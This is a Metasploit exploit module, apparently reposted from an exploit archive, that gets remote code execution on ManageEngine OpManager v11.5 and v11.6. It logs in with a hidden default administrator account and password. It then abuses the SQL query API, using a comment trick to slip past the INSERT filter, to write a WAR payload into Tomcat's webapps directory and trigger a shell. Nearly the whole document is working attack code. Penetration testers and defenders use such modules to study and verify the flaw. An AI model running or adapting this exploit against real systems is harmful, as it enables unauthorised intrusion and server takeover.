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ManageEngine OpManager Remote Code Execution

Posted on 17 September 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 # It removes large object in database, shoudn't be a problem, but just in case....
 Rank = ManualRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper

 def initialize(info={})
 super(update_info(info,
 'Name' => 'ManageEngine OpManager Remote Code Execution',
 'Description' => %q{
 This module exploits a default credential vulnerability in ManageEngine OpManager, where a
 default hidden account "IntegrationUser" with administrator privileges exists. The account
 has a default password of "plugin" which can not be reset through the user interface. By
 log-in and abusing the default administrator's SQL query functionality, it's possible to
 write a WAR payload to disk and trigger an automatic deployment of this payload. This
 module has been tested successfully on OpManager v11.5 and v11.6 for Windows.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
 ],
 'References' =>
 [
 [ 'EDB', '38174' ],
 ],
 'Platform' => ['java'],
 'Arch' => ARCH_JAVA,
 'Targets' =>
 [
 ['ManageEngine OpManager v11.6', {}]
 ],
 'Privileged' => false,
 'DisclosureDate' => 'Sep 14 2015',
 'DefaultTarget' => 0))
 end

 def uri
 target_uri.path
 end

 def check
 # Check version
 vprint_status("#{peer} - Trying to detect ManageEngine OpManager")

 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(uri, 'LoginPage.do')
 })

 unless res && res.code == 200
 return Exploit::CheckCode::Safe
 end

 if res.body =~ /OpManager.*v.([0-9]+.[0-9]+)</span>/
 version = $1
 if Gem::Version.new(version) <= Gem::Version.new('11.6')
 return Exploit::CheckCode::Appears
 else
 # Patch unknown
 return Exploit::CheckCode::Detected
 end
 elsif res.body =~ /OpManager/
 return Exploit::CheckCode::Detected
 else
 return Exploit::CheckCode::Safe
 end
 end

 def sql_query( key, query )
 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri(uri, 'api', 'json', 'admin', 'SubmitQuery'),
 'vars_get' => { 'apiKey' => key },
 'vars_post' => { 'query' => query }
 })

 unless res && res.code == 200
 fail_with(Failure::Unknown, "#{peer} - Query was not succesful!")
 end

 res
 end

 def exploit
 print_status("#{peer} - Access login page")
 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri(uri, 'jsp', 'Login.do'),
 'vars_post' => {
 'domainName' => 'NULL',
 'authType' => 'localUserLogin',
 'userName' => 'IntegrationUser', # Hidden user
 'password' => 'plugin' # Password of hidden user
 }
 })

 if res && res.code == 302
 redirect = URI(res.headers['Location']).to_s.gsub(/#//, "")
 print_status("#{peer} - Location is [ #{redirect} ]")
 else
 fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
 end

 # Follow redirection process
 print_status("#{peer} - Following redirection")
 res = send_request_cgi({
 'uri' => redirect,
 'method' => 'GET'
 })

 if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/
 api_key = $1
 print_status("#{peer} - Retrieved API key [ #{api_key} ]")
 else
 fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
 end

 app_base = rand_text_alphanumeric(4 + rand(32 - 4))
 war_payload = payload.encoded_war({ :app_name => app_base }).to_s
 war_payload_base64 = Rex::Text.encode_base64(war_payload).gsub(/
/, '')

 print_status("#{peer} - Executing SQL queries")

 # Remove large object in database, just in case it exists from previous exploit attempts
 sql = 'SELECT lo_unlink(-1)'
 sql_query(api_key, sql)

 # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
 sql = 'SELECT lo_create(-1)'
 result = sql_query(api_key, sql)
 if result.body =~ /lo_create":([0-9]+)}/
 lo_id = $1
 else
 fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
 end

 # Insert WAR payload into the pg_largeobject table. We have to use /**/ to bypass OpManager'sa checks for INSERT/UPDATE/DELETE, etc.
 sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{lo_id}, 0, DECODE('#{war_payload_base64}', 'base64'))"
 sql_query(api_key, sql)

 # Export our large object id data into a WAR file
 sql = "SELECT lo_export(#{lo_id}, '..//..//tomcat//webapps//#{app_base}.war');"
 sql_query(api_key, sql)

 # Remove our large object in the database
 sql = 'SELECT lo_unlink(-1)'
 sql_query(api_key, sql)

 register_file_for_cleanup("tomcat//webapps//#{app_base}.war")
 register_file_for_cleanup("tomcat//webapps//#{app_base}")

 10.times do
 select(nil, nil, nil, 2)

 # Now make a request to trigger the newly deployed war
 print_status("#{peer} - Attempting to launch payload in deployed WAR...")
 res = send_request_cgi(
 {
 'uri' => normalize_uri(target_uri.path, app_base, "#{Rex::Text.rand_text_alpha(rand(8) + 8)}.jsp"),
 'method' => 'GET'
 })
 # Failure. The request timed out or the server went away.
 break if res.nil?
 # Success! Triggered the payload, should have a shell incoming
 break if res.code == 200
 end

 end

end

 

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